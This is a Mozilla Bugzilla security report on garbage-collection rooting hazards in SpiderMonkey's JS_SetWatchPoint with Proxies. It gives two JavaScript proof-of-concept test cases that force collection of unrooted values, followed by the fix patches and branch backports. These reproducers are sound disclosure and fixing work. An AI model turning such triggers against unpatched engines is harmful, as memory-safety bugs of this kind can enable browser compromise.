Closed Bug 568303 Opened 10 years ago Closed 10 years ago

GC hazards in JS_SetWatchPoint with proxies

Categories

(Core :: JavaScript Engine, defect)

Other Branch
defect
Not set

Tracking

()

RESOLVED FIXED
Tracking Status
blocking2.0 --- beta1+
blocking1.9.2 --- .11+
status1.9.2 --- .11-fixed
blocking1.9.1 --- .14+
status1.9.1 --- .14-fixed

People

(Reporter: igor, Assigned: igor)

References

Details

(Whiteboard: [sg:critical?] fixed-in-tracemonkey [critsmash:patch])

Attachments

(4 files)

JS_SetWatchPoint contains the following fragment:

    if (!js_LookupProperty(cx, obj, propid, &pobj, &prop))
        return JS_FALSE;
...
    } else if (pobj != obj) {
...
        if (pobj->isNative()) {
        } else {
            if (!pobj->getProperty(cx, propid, &value) ||
                !pobj->getAttributes(cx, propid, prop, &attrs))
...
        }
        pobj->dropProperty(cx, prop);

        /* Recall that obj is native, whether or not pobj is native. */
        if (!js_DefineNativeProperty(cx, obj, propid, value, getter, setter,
                                     attrs, flags, shortid, &prop)) {
            return JS_FALSE;
        }
 
There are 2 bugs here. First dropProperty is called after getProperty call that can run arbitrary scripts (either via Proxies or liveconnect on older branches). This could be problematic if obj becames thread-shared but in general this is not exploitable in the default firefox configuration.

Second the value passed to the getProperty call is not rooted. With proxies this becomes a GC hazard since the proxy can overwrite both getProperty to return newborn object and getAttributes to force the GC to collect it before it is stored using js_DefineNativeProperty. Note that this is not exploitable with liveconnect since the implementation of getAttributes in the Java bridge is trivial and cannot trigger the GC.

Here is an example demonstrating the second bug:

function force_gc() {
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push("123456".substring(1));
}

var buffer = [];
for (var i = 0; i != 4000; ++i)
    buffer.push({});

// Point obj to a proxy where the get method creates anew object and
// getOwnPropertyDescriptor collects it when called from 

var obj = { __proto__ : Proxy.create({
          has: function(name) { return name == "x"; },
          get: function(name) { print(111);return {}; },
          getOwnPropertyDescriptor: function (name) { force_gc(); return {}; },
        })};

Object.prototype.watch.call(obj, 'x', function() {});

uneval(obj.x);

Regarding branch nomination: currently I do not see how the bug could affect the older branches, but it is better to play safe and make sure that the problem is fixed everywhere rather than hoping that the analysis is correct.
There is another bug in SetWatchPoint. It does not root the result of js_ValueToStringId. With proxies this is exploitable as there is a code path where the id, when passed to one of the proxy methods, is not rooted while a code is executed. With liveconnect AFAICS there is no such path. Here is a test case:

function force_gc() {
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push(i + 0.3);
}

var buffer = [];
for (var i = 0; i != 1 << 14; ++i)
    buffer.push("abcdefgh".substring(2));

// Point obj to a proxy where the get method creates anew object and
// getOwnPropertyDescriptor collects it when called from 

var obj = { __proto__ : Proxy.create({
          has: function(name) { return true; },
          get get() { force_gc(); return function(name) { return 0; }},
          getOwnPropertyDescriptor: function (name) { return {}; },
        })};

Object.prototype.watch.call(
    obj,
    { toString: function() { return "abcdefgh".substring(1); }},
    function() {});

uneval(obj);
Summary: GC hazard in JS_SetWatchPoint with proxies → GC hazards in JS_SetWatchPoint with proxies
Whiteboard: [sg:critical?]
Attached patch v1Splinter Review
The patch adds missing rooting.
Attachment #447718 - Flags: review?(brendan)
Comment on attachment 447718 [details] [diff] [review]
v1

Very old code, would love to overhaul it (watchpoints rule, this old impl does not). Good patch, thanks.

/be
Attachment #447718 - Flags: review?(brendan) → review+
http://hg.mozilla.org/tracemonkey/rev/ea4ad4f59286
Whiteboard: [sg:critical?] → [sg:critical?] fixed-in-tracemonkey
blocking2.0: ? → beta1+
Whiteboard: [sg:critical?] fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey [critsmash:patch]
blocking1.9.1: --- → needed
blocking1.9.2: ? → needed
http://hg.mozilla.org/mozilla-central/rev/ea4ad4f59286
Status: NEW → RESOLVED
Closed: 10 years ago
Resolution: --- → FIXED
blocking1.9.1: needed → .13+
blocking1.9.2: needed → .10+
Attached patch fix for 192Splinter Review
The patch is a trivial backport to 192 branch to account to various demacrofication that happens on the track. Here is a plain diff between patches:

> diff --git a/js/src/jscntxt.h b/js/src/jscntxt.h
> --- a/js/src/jscntxt.h
> +++ b/js/src/jscntxt.h
> @@ -1343,6 +1343,7 @@ class JSAutoTempValueRooter
>  
>      jsval value() { return mTvr.u.value; }
>      jsval *addr() { return &mTvr.u.value; }
> +    void set(jsval v) { mTvr.u.value = v; }
>  
>    protected:
>      JSContext *mContext;
12c15
< @@ -800,12 +800,14 @@ JS_SetWatchPoint(JSContext *cx, JSObject
---
> @@ -792,12 +792,14 @@ JS_SetWatchPoint(JSContext *cx, JSObject
16c19
< +    AutoValueRooter idroot(cx);
---
> +    JSAutoTempValueRooter idroot(cx);
27c30
< @@ -838,35 +840,37 @@ JS_SetWatchPoint(JSContext *cx, JSObject
---
> @@ -830,35 +832,37 @@ JS_SetWatchPoint(JSContext *cx, JSObject
32c35
< +        AutoValueRooter valroot(cx);
---
> +        JSAutoTempValueRooter valroot(cx);
37,39c40,42
<          if (pobj->isNative()) {
< -            value = SPROP_HAS_VALID_SLOT(sprop, pobj->scope())
< -                    ? pobj->lockedGetSlot(sprop->slot)
---
>          if (OBJ_IS_NATIVE(pobj)) {
> -            value = SPROP_HAS_VALID_SLOT(sprop, OBJ_SCOPE(pobj))
> -                    ? LOCKED_OBJ_GET_SLOT(pobj, sprop->slot)
41,42c44,45
< +            valroot.set(SPROP_HAS_VALID_SLOT(sprop, pobj->scope())
< +                        ? pobj->lockedGetSlot(sprop->slot)
---
> +            valroot.set(SPROP_HAS_VALID_SLOT(sprop, OBJ_SCOPE(pobj))
> +                        ? LOCKED_OBJ_GET_SLOT(pobj, sprop->slot)
44,47c47,50
<              getter = sprop->getter();
<              setter = sprop->setter();
<              attrs = sprop->attributes();
<              flags = sprop->getFlags();
---
>              getter = sprop->getter;
>              setter = sprop->setter;
>              attrs = sprop->attrs;
>              flags = sprop->flags;
75d77
<
Attachment #477900 - Flags: review+
Attachment #477900 - Flags: approval1.9.2.11?
Attached patch fix for 191Splinter Review
The fix for 191 has to account for more macro removals but beyond that the backport was trivial. Here is a diff between 192 and 191 versions of the patches:

4c4
< @@ -1343,6 +1343,7 @@ class JSAutoTempValueRooter
---
> @@ -1068,6 +1068,7 @@ class JSAutoTempValueRooter
15,16c15
< @@ -792,12 +792,14 @@ JS_SetWatchPoint(JSContext *cx, JSObject
<      if (!obj)
---
> @@ -751,12 +751,14 @@ JS_SetWatchPoint(JSContext *cx, JSObject
17a17
>      }
25c25
<          propid = js_CheckForStringIndex(propid);
---
>          CHECK_FOR_STRING_INDEX(propid);
29,30c29,30
<      /*
< @@ -830,35 +832,37 @@ JS_SetWatchPoint(JSContext *cx, JSObject
---
>      if (!js_LookupProperty(cx, obj, propid, &pobj, &prop))
> @@ -777,35 +779,37 @@ JS_SetWatchPoint(JSContext *cx, JSObject
54,57c54,57
< -            if (!pobj->getProperty(cx, propid, &value) ||
< -                !pobj->getAttributes(cx, propid, prop, &attrs)) {
< -                pobj->dropProperty(cx, prop);
< +            pobj->dropProperty(cx, prop);
---
> -            if (!OBJ_GET_PROPERTY(cx, pobj, propid, &value) ||
> -                !OBJ_GET_ATTRIBUTES(cx, pobj, propid, prop, &attrs)) {
> -                OBJ_DROP_PROPERTY(cx, pobj, prop);
> +            OBJ_DROP_PROPERTY(cx, pobj, prop);
59,60c59,60
< +            if (!pobj->getProperty(cx, propid, valroot.addr()) ||
< +                !pobj->getAttributes(cx, propid, NULL, &attrs)) {
---
> +            if (!OBJ_GET_PROPERTY(cx, pobj, propid, valroot.addr()) ||
> +                !OBJ_GET_ATTRIBUTES(cx, pobj, propid, NULL, &attrs)) {
67c67
< -        pobj->dropProperty(cx, prop);
---
> -        OBJ_DROP_PROPERTY(cx, pobj, prop);
Attachment #477902 - Flags: review+
Attachment #477902 - Flags: approval1.9.1.14?
Comment on attachment 477900 [details] [diff] [review]
fix for 192

Approved for 1.9.2.11, a=dveditz for release-drivers
Attachment #477900 - Flags: approval1.9.2.11? → approval1.9.2.11+
Comment on attachment 477902 [details] [diff] [review]
fix for 191

Approved for 1.9.1.14, a=dveditz for release-drivers
Attachment #477902 - Flags: approval1.9.1.14? → approval1.9.1.14+
Attached patch 1.8.0 versionSplinter Review
Attachment #481171 - Flags: review?(igor)
Attachment #481171 - Flags: review?(igor) → review+
Group: core-security
You need to log in before you can comment on or make changes to this bug.